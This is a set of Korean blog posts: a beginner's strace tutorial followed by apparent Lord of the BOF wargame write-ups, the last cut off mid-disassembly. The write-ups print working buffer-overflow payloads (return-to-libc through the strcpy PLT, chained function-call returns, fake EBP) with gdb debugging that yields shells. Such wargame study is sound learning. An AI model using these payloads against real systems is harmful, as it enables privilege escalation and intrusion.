반응형

http://www.linuxintro.org/wiki/Strace 를 참고하겠습니다!


저는 지금 이 글을 쓰는 지금 strace를 전혀 쓸줄 모름니다. strace <file>로 실행시킬 수 있다는거밖에 모름.

자 그렇다면 같이 해봅시다. 헬로월드 프로그램을 짜서 분석해보죠

[nightmare@localhost nightmare]$ cat hello.c

#include<stdio.h>

int main()

{

printf ("Hello, World!\n");

return 0;

}


컴파일하고 strace ./파일명 으로 우선 결과물을 출력해줍시다.


[nightmare@localhost nightmare]$ strace ./hello

execve("./hello", ["./hello"], [/* 22 vars */]) = 0

brk(0)                                  = 0x8049548

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000

open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)

open("/etc/ld.so.cache", O_RDONLY)      = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=12210, ...}) = 0

old_mmap(NULL, 12210, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000

close(3)                                = 0

open("/lib/libc.so.6", O_RDONLY)        = 3

fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096

old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40018000

mprotect(0x40105000, 30812, PROT_NONE)  = 0

old_mmap(0x40105000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec000) = 0x40105000

old_mmap(0x40109000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40109000

close(3)                                = 0

mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0

mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0

munmap(0x40015000, 12210)               = 0

personality(PER_LINUX)                  = 0

getpid()                                = 1120

fstat64(0x1, 0xbffff364)                = -1 ENOSYS (Function not implemented)

fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000

ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0

write(1, "Hello, World!\n", 14Hello, World!

)         = 14

munmap(0x40015000, 4096)                = 0

_exit(0)                                = ?


"To analyze strace's output you must know that the first keyword in a line of output from strace is always a syscall like open or read. Then, in parantheses, the arguments follow, then the result. "

우선 strace의 출력의 첫 키워드는 시스템콜이고, 괄호안에는 전달되는 인자라네여. 그리고 뒤에 결과가 따른다고 합니다. 아마 뒤에 = 한게 결과겠죠?

ㅋㅋ맞다고 써있네요.


"Every line follows the syntax

syscall(arguments) = return value

친절하게 시스템콜이 어떤 동작을 하는지 모르겠다면 man 2 <systemcall>이렇게 찾아보라고도 하네요.

어.. 근데 생각해보니 이게 다네요?

헐?

끗.


근데 old_mmap랑 mmap 랑 munmap 랑 같은거 같은데 뭘 하는지는 잘 감이 잡히지 않네요. 근데 왜 그동안 strace..이걸 안쓰려고 했나 모르겠ㅅ브니다. 역시 하고봐야 되는듯. 그동안 무서워서 못건드렸거든옄ㅋㅋㅋㅋㅋㅋㅋㅋ 이런..


++) mmap는 근데 메모리에 어떤 장치가 사용할 메모리를 할당해주는 것인 것 같은데, 그렇다면 각각 함수, 즉 open 이나 read, write같은 함수가 사용하는 공간을 만들어주는 것인가요? 위에 strace를 보면 각각 함수들 실행시키기 전에 하나씩 있는걸 보니..

반응형

'STUDY > Documentation' 카테고리의 다른 글

Bufferoverflow 기법 정리  (0) 2015.09.22
핸드레이  (0) 2015.09.05
Buffer Overflow  (3) 2014.05.18
Key File  (0) 2014.05.16
Frame Pointer Overwrite/One Byte Overflow  (5) 2014.04.06
반응형

방학이 지옥이여 뭐시여 왜나한테 이런 시련을 주는겨 왜 난 학원숙제를 안하고이쓰까나


[succubus@localhost succubus]$ ls

nightmare  nightmare.c

[succubus@localhost succubus]$ cat nightmare.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // check address

        addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }//버퍼 후 ret가 strcpy여야 합니다 위에 주석의 힌트로 봐선 plt주소값을 사용하란뜻일듯여


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);

}

[succubus@localhost succubus]$ cp nightmare fightmare

[succubus@localhost succubus]$ gdb -q fightmare

(gdb) b main

Breakpoint 1 at 0x80486ba

(gdb) r

Starting program: /home/succubus/fightmare


Breakpoint 1, 0x80486ba in main ()

(gdb) p strcpy

$1 = {char *(char *, char *)} 0x400767b0 <strcpy>

(gdb) disas main

Dump of assembler code for function main:

0x80486b4 <main>:       push   %ebp

0x80486b5 <main+1>:     mov    %esp,%ebp

0x80486b7 <main+3>:     sub    $0x2c,%esp

0x80486ba <main+6>:     cmpl   $0x1,0x8(%ebp)

0x80486be <main+10>:    jg     0x80486d7 <main+35>

0x80486c0 <main+12>:    push   $0x80487db

0x80486c5 <main+17>:    call   0x80483e0 <printf>

0x80486ca <main+22>:    add    $0x4,%esp

0x80486cd <main+25>:    push   $0x0

0x80486cf <main+27>:    call   0x80483f0 <exit>

0x80486d4 <main+32>:    add    $0x4,%esp

0x80486d7 <main+35>:    movl   $0x8048410,0xffffffd4(%ebp)

0x80486de <main+42>:    push   $0x4

0x80486e0 <main+44>:    lea    0xffffffd4(%ebp),%eax

0x80486e3 <main+47>:    push   %eax

0x80486e4 <main+48>:    mov    0xc(%ebp),%eax

0x80486e7 <main+51>:    add    $0x4,%eax

0x80486ea <main+54>:    mov    (%eax),%edx

0x80486ec <main+56>:    add    $0x2c,%edx

0x80486ef <main+59>:    push   %edx

0x80486f0 <main+60>:    call   0x80483c0 <memcmp>

0x80486f5 <main+65>:    add    $0xc,%esp

0x80486f8 <main+68>:    mov    %eax,%eax

0x80486fa <main+70>:    test   %eax,%eax

0x80486fc <main+72>:    je     0x8048715 <main+97>

0x80486fe <main+74>:    push   $0x8048800

0x8048703 <main+79>:    call   0x80483e0 <printf>

0x8048708 <main+84>:    add    $0x4,%esp

0x804870b <main+87>:    push   $0x0

0x804870d <main+89>:    call   0x80483f0 <exit>

0x8048712 <main+94>:    add    $0x4,%esp

0x8048715 <main+97>:    mov    0xc(%ebp),%eax

0x8048718 <main+100>:   add    $0x4,%eax

0x804871b <main+103>:   mov    (%eax),%edx

0x804871d <main+105>:   push   %edx

0x804871e <main+106>:   lea    0xffffffd8(%ebp),%eax

---Type <return> to continue, or q <return> to quit---

0x8048721 <main+109>:   push   %eax

0x8048722 <main+110>:   call   0x8048410 <strcpy> //걍 @plt안붙어있지만 이거인 쁼이 남여

0x8048727 <main+115>:   add    $0x8,%esp

0x804872a <main+118>:   lea    0xffffffd8(%ebp),%eax

0x804872d <main+121>:   push   %eax

0x804872e <main+122>:   push   $0x8048825

0x8048733 <main+127>:   call   0x80483e0 <printf>

0x8048738 <main+132>:   add    $0x8,%esp

0x804873b <main+135>:   push   $0x4

0x804873d <main+137>:   push   $0x41

0x804873f <main+139>:   lea    0xffffffd8(%ebp),%eax

0x8048742 <main+142>:   lea    0x30(%eax),%edx

0x8048745 <main+145>:   push   %edx

0x8048746 <main+146>:   call   0x8048400 <memset>

0x804874b <main+151>:   add    $0xc,%esp

0x804874e <main+154>:   leave

0x804874f <main+155>:   ret

End of assembler dump.

(gdb) q

The program is running.  Exit anyway? (y or n) y

[succubus@localhost succubus]$ ./fightmare `perl -e 'print "\x90"x44, "\x10\x84\x04\x08"'`

„//시도해보니 됨. 올ㅋ

/*여기서 고민을 했는데 위의 프로그램은 strcpy실행 후 ret주소가 들어갈 자리를 A로 채워버립니다. 근데 왜 하필 strcpy일까염 쓰라고 그런거겠죠? 인자 리밋도 안하니 결국엔 strcpy를 사용해 ret가 들어갈 곳에 주소를 넣는거라고 생ㅇ각을 하게 됬습니다. 그래서 처음엔 strcpy인자두개 뒤에 시스템 주소와 /bin/sh주소 넣으려고 했는데 안되디다. 그래서 걍 앞에따가 넣었어요.*/

Segmentation fault (core dumped)

[succubus@localhost succubus]$ gdb -q fightmare

(gdb) b main

Breakpoint 1 at 0x80486ba

(gdb) r

Starting program: /home/succubus/fightmare


Breakpoint 1, 0x80486ba in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) q

The program is running.  Exit anyway? (y or n) y


/*중간에 뭔 뻘짓을 너무많이해놔서 안가리고 걍 다 지웠습니다....*/


[succubus@localhost succubus]$export BINSH=`perl -e 'print "/bin/sh"'`

bash2: export: command not found

[succubus@localhost succubus]$ export BINSH=`perl -e 'print "/bin/sh"'`

[succubus@localhost succubus]$ ls

core  fightmare  nightmare  nightmare.c

[succubus@localhost succubus]$ vi foo.c

[succubus@localhost succubus]$ gcc foo.c -o foo

foo.c: In function `main':

foo.c:5: warning: assignment makes pointer from integer without a cast

[succubus@localhost succubus]$ ./foo BINSH

0xbffffc7c

[succubus@localhost succubus]$ ./fightmare `perl -e 'print "\x90"x44, "\x10\x84\x04\x08", "AAAA", "\xd0\xfa\xff\xbf", "\xdc\xfa\xff\xbf", "\xe0\x8a\x05\x40", "BBBB", "\x7c\xfc\xff\xbf"  '`

AAAAúú ¿úú ¿@BBBB|ü ¿

Segmentation fault (core dumped)


[succubus@localhost succubus]$ gdb -q -c core

Core was generated by `./fightmare AAAAúú ¿úú ¿@BBB'.

Program terminated with signal 11, Segmentation fault.

#0  0x41414141 in ?? ()

(gdb) x/40wx $esp-80

0xbffffa74:     0xbffffb04      0xbffffab8      0x0804874b      0xbffffac0

0xbffffa84:     0x00000041      0x00000004      0x08048410      0x90909090

0xbffffa94:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffaa4:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffab4:     0x90909090      0x4000ae60      0x90909090      0x41414141

0xbffffac4:     0xbffffad0      0xbffffadc      0x40058ae0      0x08048441

0xbffffad4:     0x080486b4      0x00000002      0x08048441      0x080486b4

0xbffffae4:     0x00000002      0xbffffb04      0x08048350      0x0804877c

0xbffffaf4:     0x4000ae60      0xbffffafc      0x40013e90      0x00000002

0xbffffb04:     0xbffffc02      0xbffffc0e      0x00000000      0xbffffc57

(gdb) x/wx 0xbffffa90

0xbffffa90:     0x90909090

(gdb) q


[succubus@localhost succubus]$ ./fightmare `perl -e 'print "\xe0\x8a\x05\x40", "BBBB", "\x7c\xfc\xff\xbf", "\x90"x32, "\x10\x84\x04\x08", "AAAA", "\xd0\xfa\xff\xbf", "\x98\xfa\xff\xbf"'`

@BBBB|ü ¿AAAAúú ¿˜ú ¿

Segmentation fault (core dumped)

[succubus@localhost succubus]$ gdb -q -c core

Core was generated by `./fightmare @BBBB|ü ¿AAAAúú ¿˜ú ¿'.


Program terminated with signal 11, Segmentation fault.

#0  0x41410004 in ?? () //잘 안바뀜

(gdb) q


[succubus@localhost succubus]$ ./fightmare `perl -e 'print "\xe0\x8a\x05\x40", "BBBB", "\x7c\xfc\xff\xbf", "\x90"x32, "\x10\x84\x04\x08", "AAAA", "\xd0\xfa\xff\xbf", "\xac\xfa\xff\xbf"'`

@BBBB|ü ¿AAAAúú ¿¬ú ¿

Segmentation fault (core dumped)

[succubus@localhost succubus]$ gdb -q -c core

Core was generated by `./fightmare @BBBB|ü ¿AAAAúú ¿¬ú ¿'.

Program terminated with signal 11, Segmentation fault.

#0  0x90909090 in ?? ()

(gdb) x/40wx 0xbffffaac

0xbffffaac:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffabc:     0x90909090      0x90909090      0x90909090      0x4000ae60

0xbffffacc:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffadc:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffaec:     0x0800ae60      0x080486b4      0x00000002      0xbffffb14

0xbffffafc:     0x08048350      0x0804877c      0x4000ae60      0xbffffb0c

0xbffffb0c:     0x40013e90      0x00000002      0xbffffc0e      0xbffffc1a

0xbffffb1c:     0x00000000      0xbffffc57      0xbffffc6a      0xbffffc78

0xbffffb2c:     0xbffffc90      0xbffffcaf      0xbffffcd1      0xbffffcdf

0xbffffb3c:     0xbffffea2      0xbffffec1      0xbffffedf      0xbffffef4

(gdb) x/40wx 0xbffffaa8

0xbffffaa8:     0xbffffc7c      0x90909090      0x90909090      0x90909090

0xbffffab8:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffac8:     0x4000ae60      0x90909090      0x90909090      0x90909090

0xbffffad8:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffae8:     0x90909090      0x0800ae60      0x080486b4      0x00000002

0xbffffaf8:     0xbffffb14      0x08048350      0x0804877c      0x4000ae60

0xbffffb08:     0xbffffb0c      0x40013e90      0x00000002      0xbffffc0e

0xbffffb18:     0xbffffc1a      0x00000000      0xbffffc57      0xbffffc6a

0xbffffb28:     0xbffffc78      0xbffffc90      0xbffffcaf      0xbffffcd1

0xbffffb38:     0xbffffcdf      0xbffffea2      0xbffffec1      0xbffffedf

(gdb) x/40wx 0xbffffaa0

0xbffffaa0:     0x40058ae0      0x42424242      0xbffffc7c      0x90909090

0xbffffab0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffac0:     0x90909090      0x90909090      0x4000ae60      0x90909090

0xbffffad0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffae0:     0x90909090      0x90909090      0x90909090      0x0800ae60

0xbffffaf0:     0x080486b4      0x00000002      0xbffffb14      0x08048350

0xbffffb00:     0x0804877c      0x4000ae60      0xbffffb0c      0x40013e90

0xbffffb10:     0x00000002      0xbffffc0e      0xbffffc1a      0x00000000

0xbffffb20:     0xbffffc57      0xbffffc6a      0xbffffc78      0xbffffc90

0xbffffb30:     0xbffffcaf      0xbffffcd1      0xbffffcdf      0xbffffea2

(gdb) q

[succubus@localhost succubus]$ ./fightmare `perl -e 'print "\xe0\x8a\x05\x40", "BBBB", "\x7c\xfc\xff\xbf", "\x90"x32, "\x10\x84\x04\x08", "AAAA", "\xd0\xfa\xff\xbf", "\xa0\xfa\xff\xbf"'`

@BBBB|ü ¿AAAAúú ¿ ú ¿

Segmentation fault (core dumped)

[succubus@localhost succubus]$ gdb -q -c core

Core was generated by `./fightmare @BBBB|ü ¿AAAAúú ¿ ú ¿'.

Program terminated with signal 11, Segmentation fault.

#0  0x42424242 in ?? ()/*뭐가 잘 안됨. 근데 걍 삘이 아 시스템 인자전달이 잘못되서 저게....라는 느낌이었슴다*/

(gdb) q


[succubus@localhost succubus]$ gdb -q -c core

Core was generated by `./fightmare @BBBB|ü ¿AAAAúú ¿ ú ¿'.

Program terminated with signal 11, Segmentation fault.

#0  0x42424242 in ?? ()

(gdb) x/s 0xbffffc7c

0xbffffc7c:      "TEHOST=192.168.10.1" /*foo.c너는 대체 나에게 무슨 주소를 준것이냐..*/

(gdb) x/5s 0xbffffc7c

0xbffffc7c:      "TEHOST=192.168.10.1"

0xbffffc90:      "HOSTNAME=localhost.localdomain"

0xbffffcaf:      "LESSOPEN=|/usr/bin/lesspipe.sh %s"

0xbffffcd1:      "USER=succubus"

0xbffffcdf:      "LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01"...


(gdb) x/5s 0xbffffc70

0xbffffc70:      "/bin/sh"

0xbffffc78:      "REMOTEHOST=192.168.10.1"

0xbffffc90:      "HOSTNAME=localhost.localdomain"

0xbffffcaf:      "LESSOPEN=|/usr/bin/lesspipe.sh %s"

0xbffffcd1:      "USER=succubus"

(gdb) q


[succubus@localhost succubus]$ ./fightmare `perl -e 'print "\xe0\x8a\x05\x40", "BBBB", "\x70\xfc\xff\xbf", "\x90"x32, "\x10\x84\x04\x08", "AAAA", "\xd0\xfa\xff\xbf", "\xa0\xfa\xff\xbf"'`

@BBBBpü ¿AAAAúú ¿ ú ¿

bash$ exit

exit

Segmentation fault (core dumped)

[succubus@localhost succubus]$ ./nightmare `perl -e 'print "\xe0\x8a\x05\x40", "BBBB", "\x70\xfc\xff\xbf", "\x90"x32, "\x10\x84\x04\x08", "AAAA", "\xd0\xfa\xff\xbf", "\xa0\xfa\xff\xbf"'`

@BBBBpü ¿AAAAúú ¿ ú ¿

bash$ my-pass

euid = 518


굿굿



반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

xavius->death_knight  (0) 2014.07.31
nightmare->xavius  (0) 2014.07.22
zombie_assassin->succubus  (0) 2014.07.08
assassin->zombie_assassin  (2) 2014.06.26
assassin->zombie_assassin  (0) 2014.05.13
반응형

왠진 모르겠지만 이번에는 새로운 단계를 오랜만에 풀어봐서 그런지 너무 재미있었습니닼ㅋㅋㅋㅋ

막 함수주소얻는데 왜케 기분이 좋은짘ㅋㅋㅋㅋㅋ


login: zombie_assassin

Password:

Last login: Fri May  2 14:40:51 from 192.168.10.1

ls

[zombie_assassin@localhost zombie_assassin]$ ls

foo  foo.c  ssssssss  succubus  succubus.c

[zombie_assassin@localhost zombie_assassin]$ cat succubus.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


        // olleh!

        system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

        if(check != 1)

                exit(0);


        printf("welcome to the GYE!\n");

        check = 2;

}


void DO(void)

{

        printf("welcome to the DO!\n");

        check = 1;

}


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // you cannot use library

        if(strchr(argv[1], '\x40')){

                printf("You cannot use library\n");

                exit(0);

        }


        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer

        // 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}

/*코드를 정리해주자면 버퍼+148만큼을 남겨두고 싹다 지워버립니다. 그리고 공격자는 도->개->걸->윷->모 순서로 함수를 호출해야 모가 마지막에 자신이 넘겨받은 인자를 시스템 함수로 호출해줍니다. 라이브러리의 함수는 사용할 수 없습니다. 그리고 44바이트를 채워야한다는걸 처음에 깜박했는데 44바이트+코드~~~입니다ㅋ*/


[zombie_assassin@localhost zombie_assassin]$ gdb -q ssssssss

(gdb) b main

Breakpoint 1 at 0x804880e

(gdb) r

Starting program: /home/zombie_assassin/ssssssss


Breakpoint 1, 0x804880e in main ()

(gdb) p DO

$1 = {<text variable, no debug info>} 0x80487ec <DO>

(gdb) p GYE

$2 = {<text variable, no debug info>} 0x80487bc <GYE>

(gdb) p GUL

$3 = {<text variable, no debug info>} 0x804878c <GUL>

(gdb) p YUT

$4 = {<text variable, no debug info>} 0x804875c <YUT>

(gdb) p MO

$5 = {<text variable, no debug info>} 0x8048724 <MO>

(gdb) q

The program is running.  Exit anyway? (y or n) y

[zombie_assassin@localhost zombie_assassin]$ ./ssssssss `perl -e 'print "\x90"x44, "\xec\x87\x04\x08", "\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08", "AAAA", "BBBB", "CCCC"'`

¼Œ\$AAAABBBBCCCC

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

Segmentation fault (core dumped)

/*솔직히 여기서 정신못차림. 주소많아지니까 어우..*/

[zombie_assassin@localhost zombie_assassin]$ gdb -q -c core

Core was generated by `                                                                              '.

Program terminated with signal 11, Segmentation fault.

#0  0x41414141 in ?? ()

(gdb) x/40wx $esp

0xbffffaa4:     0x42424242      0x43434343      0x08048400      0x08048808

0xbffffab4:     0x00000002      0xbffffad4      0x0804839c      0x0804894c

0xbffffac4:     0x4000ae60      0xbffffacc      0x40013e90      0x00000002

0xbffffad4:     0xbffffbd0      0xbffffbdb      0x00000000      0xbffffc28

0xbffffae4:     0xbffffc42      0xbffffc50      0xbffffc68      0xbffffc87

0xbffffaf4:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffb04:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffb14:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffb24:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffb34:     0x00000000      0x00000000      0x00000000      0x00000000

(gdb) x/wx 0xbffffaa8

0xbffffaa8:     0x43434343

(gdb) q

[zombie_assassin@localhost zombie_assassin]$ ./ssssssss `perl -e 'print "\x90"x44, "\xec\x87\x04\x08", "\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08", "AAAA", "\xa8\xfa\xff\xbf", "/bin/sh"'`

¼Œ\$AAAA¨ú ¿/bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$ exit

exit

Segmentation fault (core dumped)

[zombie_assassin@localhost zombie_assassin]$ ./succubus `perl -e 'print "\x90"x44, "\xec\x87\x04\x08", "\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08", "AAAA", "\xa8\xfa\xff\xbf", "/bin/sh"'`

¼Œ\$AAAA¨ú ¿/bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$ my-pass

euid = 517


못쓰는 주소들이 정말 많은 반면 100바이트를 남겨줘서 그냥 argv[1]에따가 "/bin/sh를 넣어주고 거기로 인자를 받게 했습니다. 앞의 함수들은 인자를 받지 않기(void)때문에 그냥 리턴어드레스만 받아서 쭉쭉 실행하다가 MO같은 경우는 인자를 받기 때문에 mo의 주소+4바이트의 곳에 인자의 주소를 넣고 인자는 그 뒤의 주소를 계산해서 넣어주시면 됩니다.

얼마 안남았네염 화이팅

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

nightmare->xavius  (0) 2014.07.22
succubus->nightmare  (0) 2014.07.10
assassin->zombie_assassin  (2) 2014.06.26
assassin->zombie_assassin  (0) 2014.05.13
giant->assassin  (0) 2014.04.22
반응형

오마이갓 fake ebp.. you are like twins with fpo omg why


참고한 자료들:

http://sangu1ne.tistory.com/9 <<-여기 Sanguine형 블러그 여기 롸잇업 짱임여! 롸잇업 뿐만아니라 그냥 짱짱

http://1tchy.tistory.com/entry/fake-ebp <<-간지해커 잇치형의 블러그! 여기 역시 롸잇업 짱임!

이런분들 사이에 끼어 살다니 영광이빈다..

&&... cd80 ㅎ ㄳㄳ

검색기록 날리고 고정된 탭들역시 다 날아가서.. 후.. 더 올릴 수는 없지만 크롬 제발 최근 탭 이거 좀 늘려줬으면 좋겠네요..


[assassin@localhost assassin]$ ls

zombie_assassin  zombie_assassin.c

[assassin@localhost assassin]$ cat zombie_assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


        // strncpy instead of strcpy!

        strncpy(buffer, argv[1], 48);

        printf("%s\n", buffer);

}


[assassin@localhost assassin]$ cp zombie_assassin newbie_assassin

[assassin@localhost assassin]$ ./newbie_assassin `perl -e 'print  "\x90"x48'`



Segmentation fault (core dumped)

[assassin@localhost assassin]$ gdb -q newbie_assassin core

Core was generated by `./newbie_assassin '.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0x90909090 in ?? ()

(gdb) x/40wx $esp-40

0xbffffab8:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffac8:     0x90909090      0x90909090      0x90909090      0x90909090 //훼이크(?)

0xbffffad8:     0x90909090      0x90909090      0x00000002      0xbffffb24

0xbffffae8:     0xbffffb30      0x40013868      0x00000002      0x08048390

0xbffffaf8:     0x00000000      0x080483b1      0x08048440      0x00000002

0xbffffb08:     0xbffffb24      0x080482e4      0x0804851c      0x4000ae60

0xbffffb18:     0xbffffb1c      0x40013e90      0x00000002      0xbffffc16

0xbffffb28:     0xbffffc28      0x00000000      0xbffffc59      0xbffffc6c

0xbffffb38:     0xbffffc84      0xbffffca3      0xbffffcc5      0xbffffcd3

0xbffffb48:     0xbffffe96      0xbffffeb5      0xbffffed3      0xbffffee8

(gdb) x/40wx $esp-80

0xbffffa90:     0x40106980      0x0804857e      0xbffffab0      0x401081ec

0xbffffaa0:     0xbffffad8      0x080484dc      0x0804857e      0xbffffab0

0xbffffab0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffac0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffad0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffae0:     0x00000002      0xbffffb24      0xbffffb30      0x40013868

0xbffffaf0:     0x00000002      0x08048390      0x00000000      0x080483b1

0xbffffb00:     0x08048440      0x00000002      0xbffffb24      0x080482e4

0xbffffb10:     0x0804851c      0x4000ae60      0xbffffb1c      0x40013e90

0xbffffb20:     0x00000002      0xbffffc16      0xbffffc28      0x00000000

(gdb) q

[assassin@localhost assassin]$ payload= buffer[dummy][system addr][dummy][binsh][leftover nop] sfp[buffer addr] ret[leaveret]

bash2: buffer[system: command not found


[assassin@localhost assassin]$ gdb -q newbie_assassin core

Core was generated by `./newbie_assassin '.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0x90909090 in ?? ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) q

[assassin@localhost assassin]$ clear


[assassin@localhost assassin]$ gdb -q newbie_assassin core

Core was generated by `./newbie_assassin '.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0x90909090 in ?? ()

(gdb) b main

Breakpoint 1 at 0x8048446

(gdb) r

Starting program: /home/assassin/newbie_assassin


Breakpoint 1, 0x8048446 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) disas main

Dump of assembler code for function main:

0x8048440 <main>:       push   %ebp

0x8048441 <main+1>:     mov    %esp,%ebp

0x8048443 <main+3>:     sub    $0x28,%esp

0x8048446 <main+6>:     cmpl   $0x1,0x8(%ebp)

0x804844a <main+10>:    jg     0x8048463 <main+35>

0x804844c <main+12>:    push   $0x8048540

0x8048451 <main+17>:    call   0x8048354 <printf>

0x8048456 <main+22>:    add    $0x4,%esp

0x8048459 <main+25>:    push   $0x0

0x804845b <main+27>:    call   0x8048364 <exit>

0x8048460 <main+32>:    add    $0x4,%esp

0x8048463 <main+35>:    mov    0xc(%ebp),%eax

0x8048466 <main+38>:    add    $0x4,%eax

0x8048469 <main+41>:    mov    (%eax),%edx

0x804846b <main+43>:    add    $0x2f,%edx

0x804846e <main+46>:    cmpb   $0xbf,(%edx)

0x8048471 <main+49>:    jne    0x8048490 <main+80>

0x8048473 <main+51>:    push   $0x804854c

0x8048478 <main+56>:    call   0x8048354 <printf>

0x804847d <main+61>:    add    $0x4,%esp

0x8048480 <main+64>:    push   $0x0

0x8048482 <main+66>:    call   0x8048364 <exit>

0x8048487 <main+71>:    add    $0x4,%esp

0x804848a <main+74>:    lea    0x0(%esi),%esi

0x8048490 <main+80>:    mov    0xc(%ebp),%eax

0x8048493 <main+83>:    add    $0x4,%eax

0x8048496 <main+86>:    mov    (%eax),%edx

0x8048498 <main+88>:    add    $0x2f,%edx

0x804849b <main+91>:    cmpb   $0x40,(%edx)

0x804849e <main+94>:    jne    0x80484b7 <main+119>

0x80484a0 <main+96>:    push   $0x8048561

0x80484a5 <main+101>:   call   0x8048354 <printf>

0x80484aa <main+106>:   add    $0x4,%esp

0x80484ad <main+109>:   push   $0x0

0x80484af <main+111>:   call   0x8048364 <exit>

0x80484b4 <main+116>:   add    $0x4,%esp

---Type <return> to continue, or q <return> to quit---

0x80484b7 <main+119>:   push   $0x30

0x80484b9 <main+121>:   mov    0xc(%ebp),%eax

0x80484bc <main+124>:   add    $0x4,%eax

0x80484bf <main+127>:   mov    (%eax),%edx

0x80484c1 <main+129>:   push   %edx

0x80484c2 <main+130>:   lea    0xffffffd8(%ebp),%eax

0x80484c5 <main+133>:   push   %eax

